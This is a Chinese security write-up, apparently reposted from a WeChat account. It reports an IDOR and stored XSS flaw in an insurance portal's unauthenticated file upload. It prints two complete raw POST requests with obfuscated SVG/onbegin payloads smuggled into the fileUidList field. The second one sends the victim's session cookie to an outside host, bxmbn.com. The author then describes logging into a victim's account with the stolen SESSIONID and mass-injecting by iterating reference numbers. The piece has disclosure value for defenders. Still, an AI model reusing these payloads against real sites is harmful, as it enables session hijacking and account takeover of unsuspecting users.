利用文件上传功能 IDOR 和 XSS 劫持会话

admin 2025年2月28日22:34:19评论5 views字数 3748阅读12分29秒阅读模式
利用文件上传功能 IDOR 和 XSS 劫持会话

关注公众号,阅读优质好文。

前言

想象这样一个场景:一个专门处理敏感文档的平台,如保险理赔或身份验证系统,却因一个设计疏漏而成为攻击者的“金矿”。

在对某个保险门户的文件上传功能进行测试时,我意外发现了一个可导致大规模账户接管的存储型 XSS 漏洞。最初的尝试只是一次简单的安全测试,然而,漏洞的深度远超预期。让我们深入探讨这一发现。

利用文件上传功能 IDOR 和 XSS 劫持会话

正文

该系统允许用户上传文件,以支持提交的表单——这是类似平台上的常见功能。上传成功后,系统会将文件与一个参考编号(refNo)关联,例如 R2326400539(假设属于用户 John)。随后,用户可以通过特定页面查看已上传的文件:
https://[redacted].com/xxx.asp?refNo=R2326400539

看似平常的文件管理机制,却隐藏着巨大的安全风险。在分析上传请求时,我注意到一个名为 fileUidList 的参数,该参数用于定义文件的元数据。出于好奇,我尝试对其进行篡改,并将篡改后的请求绑定到另一个参考编号,例如 R2326400540。

结果令人惊讶:服务器毫无防备地接受了篡改后的请求。

为了验证漏洞的可利用性,我构造了以下请求,在 fileUidList 中植入 XSS 载荷:

POST /[redacted]/[redacted].do HTTP/1.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714Content-Length: 761Origin: [redacted]Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originTe: trailersConnection: close-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="njfbRefNo"R2326400540-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="actId"-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="maxUploadContentSize"104857601-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="fileUidList"10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b"> .png~!~649159-----------------------------25285536543518840322221354714--

服务器返回 200 OK,表明我的 XSS 载荷已成功存储。随后,当访问 https://[redacted].com/xxx.asp?refNo=R2326400540 时,XSS 代码被执行。

https://[redacted].com/xxx.asp?refNo=R2326400540

存储型 XSS 的危害往往超出人们的想象。由于该系统的参考编号是数字型且可预测的,攻击者可以系统性地遍历参考编号,批量注入 XSS payload。

更糟糕的是,会话 Cookie(SESSIONID)未设置 HttpOnly 标志,意味着 JavaScript 可以直接读取用户的会话信息。这为账户接管提供了便利。

于是,我升级了攻击方式。这次,我修改 XSS 载荷,使受害者的浏览器自动重定向至我的服务器,并在 URL 参数中附加用户的 Cookie:

POST /[redacted]/[redacted].do HTTP/1.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714Content-Length: 761Origin: [redacted]Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originTe: trailersConnection: close-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="njfbRefNo"R2326400551-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="actId"-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="maxUploadContentSize"104857601-----------------------------25285536543518840322221354714Content-Disposition: form-data; name="fileUidList"10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='//bxmbn.com/?'+b+cookie+b"> .png~!~649159-----------------------------25285536543518840322221354714--

上传成功后,当受害者访问 https://[redacted].com/xxx.asp?refNo=R2326400551 时,我的服务器日志中便出现了 John 的 SESSIONID。

有了这个会话令牌,我即可直接进入 John 的账户,无需密码。

最令人震惊的是:文件上传接口不要求用户登录。攻击者可以匿名发送请求,篡改任何用户的文件数据,完全不受身份验证机制的约束。

  • 没有会话验证:任何人都可以操控 fileUidList 参数。
  • 没有访问控制:上传的文件可被篡改、利用。
  • 攻击范围广泛:由于参考编号可预测,攻击者可轻易遍历所有用户。

这一漏洞不仅让 XSS 攻击变得轻而易举,还暴露了整个文件管理系统的设计缺陷。

使用 CVSS 3.1 评分,该漏洞属于高危级别

  • 可通过网络访问
  • 攻击复杂度低
  • 无需任何权限
  • 影响范围广泛,导致机密信息泄露

利用文件上传功能 IDOR 和 XSS 劫持会话

关键点是:攻击者可以修改用户之前上传的文件只需遍历参考编号参数(njfbRefNo),就能在所有用户的文件中注入 XSS。这意味着,整个系统的文件存储机制都处于危险之中。

原文始发于微信公众号(玲珑安全):利用文件上传功能 IDOR 和 XSS 劫持会话

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月28日22:34:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用文件上传功能 IDOR 和 XSS 劫持会话https://cn-sec.com/archives/3780840.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息